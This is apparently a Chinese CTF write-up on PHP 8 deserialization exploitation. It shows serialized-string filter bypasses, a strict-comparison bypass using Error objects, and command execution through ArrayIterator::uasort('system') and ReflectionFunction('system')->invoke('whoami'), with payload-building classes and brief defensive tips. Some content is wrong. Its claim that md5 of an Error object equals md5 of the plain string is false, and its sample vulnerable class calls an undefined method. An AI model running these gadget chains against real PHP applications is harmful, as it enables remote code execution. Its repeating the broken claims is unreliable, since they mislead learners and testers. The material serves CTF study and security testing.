PHP8反序列化链利用与强类型绕过分析
字数 1115 2025-11-08 10:04:01
PHP8反序列化链利用与强类型绕过分析
一、背景介绍
在PHP8环境下,反序列化漏洞的利用方式发生了重要变化。本文基于CTF省赛线下题目分析,详细讲解PHP8环境下的反序列化链利用技巧和强类型绕过方法。
二、PHP8环境下的关键变化
2.1 强类型限制
在PHP8中,preg_match函数的第二个参数必须是字符串类型,否则会抛出TypeError导致脚本终止:
// PHP8中会报错
preg_match($pattern, array()); // TypeError: must be of type string, array given
// PHP7中可以正常执行
preg_match($pattern, array()); // 返回false,但不会终止脚本
2.2 序列化格式限制绕过
在序列化字符串中,可以通过修改属性标识来绕过匹配:
// 原始序列化
O:6:"MyClass":1:{s:6:"lover";s:3:"abc";}
// 绕过方法:将s改为S(大写)并使用十六进制表示
O:6:"MyClass":1:{S:6:"\\6cover";s:3:"abc";}
三、强类型绕过技术
3.1 利用md5()的类型转换特性
PHP中的md5()函数在处理参数时会先将对象转换成字符串类型再进行加密:
class Test {
public function __toString() {
return 'admin';
}
}
$obj = new Test();
// md5()会先调用__toString(),将对象转为字符串
md5($obj); // 相当于 md5('admin')
3.2 使用PHP原生类绕过
3.2.1 Error/Exception类利用
Error和Exception类在触发__toString()方法时会以字符串形式输出错误信息:
try {
// 触发Error
$error = new Error("payload", 1);
// 当md5($error)时,会调用$error->__toString()
// 输出包含错误信息的字符串,但错误代码(1)不会被输出
} catch (Error $e) {
// 错误处理
}
3.2.2 利用原理
// 强比较绕过示例
$hash1 = md5(new Error("admin", 1)); // 输出错误信息包含"admin"
$hash2 = md5("admin"); // 直接字符串加密
// 两者hash值相同,绕过强比较
四、命令执行技术
4.1 可利用的调用链
题目中通常存在以下可利用的调用模式:
// 1. 实例化任意类
$a = new $args[0]($this->b);
// 2. 调用实例化类中的任意方法
$a->$c($this->d);
4.2 可利用的PHP原生类
4.2.1 ArrayIterator类
官方描述:这个迭代器允许在遍历数组和对象时删除和更新值与键。
利用原理:ArrayIterator类接受回调函数作为参数。当排序发生时,PHP会调用这个函数,并将数组的键或值作为参数传递,从而实现RCE。
示例:
// 创建ArrayIterator实例
$iterator = new ArrayIterator([$malicious_data]);
// 设置回调函数(恶意函数)
$iterator->uasort('system'); // 或其它可执行命令的函数
4.2.2 ReflectionFunction类
官方描述:ReflectionFunction类用于报告一个函数的有关信息,提供"反射"接口。
利用方法:
invoke():直接调用函数invokeArgs(array $args):使用参数数组调用函数
示例:
// 创建ReflectionFunction实例
$func = new ReflectionFunction('system');
// 执行命令
$func->invoke('whoami'); // 直接调用
$func->invokeArgs(['whoami']); // 使用参数数组调用
五、完整利用链构造
5.1 本地测试源码结构
class VulnerableClass {
private $data;
public function __wakeup() {
// 反序列化时触发
if (preg_match('/^admin$/i', $this->data)) {
// 目标执行点
$this->executeCommand();
}
}
public function __toString() {
// 类型转换时触发
phpinfo(); // 或其它恶意操作
return 'payload';
}
}
5.2 完整Payload构造
方法一:利用Error类绕过
class Exploit {
public $b;
public $d;
public function __construct() {
// 使用Error类绕过强类型检查
$this->b = new Error("admin", 1);
$this->d = "whoami"; // 要执行的命令
}
}
// 序列化payload
$exploit = new Exploit();
$payload = serialize($exploit);
方法二:结合ReflectionFunction执行命令
class FinalExploit {
public $b = 'system'; // 要反射的函数名
public $d = 'whoami'; // 命令参数
public function __destruct() {
// 利用反射执行命令
$a = new ReflectionFunction($this->b);
$a->invoke($this->d);
}
}
六、实战利用步骤
- 识别漏洞点:找到存在反序列化入口和可利用的类方法调用
- 构造绕过链:利用PHP8的类型转换特性绕过强类型检查
- 选择执行方式:根据环境选择合适的原生类(ArrayIterator或ReflectionFunction)
- 生成Payload:构造完整的序列化字符串
- 触发利用:通过反序列化触发漏洞链
七、防护建议
- 输入验证:严格验证反序列化输入来源
- 类型检查:在关键函数前添加类型检查
- 使用白名单:限制可反序列化的类
- 更新环境:及时更新PHP版本修复已知漏洞
通过本文的分析,可以深入理解PHP8环境下反序列化漏洞的新型利用技术,为CTF竞赛和实际安全测试提供技术参考。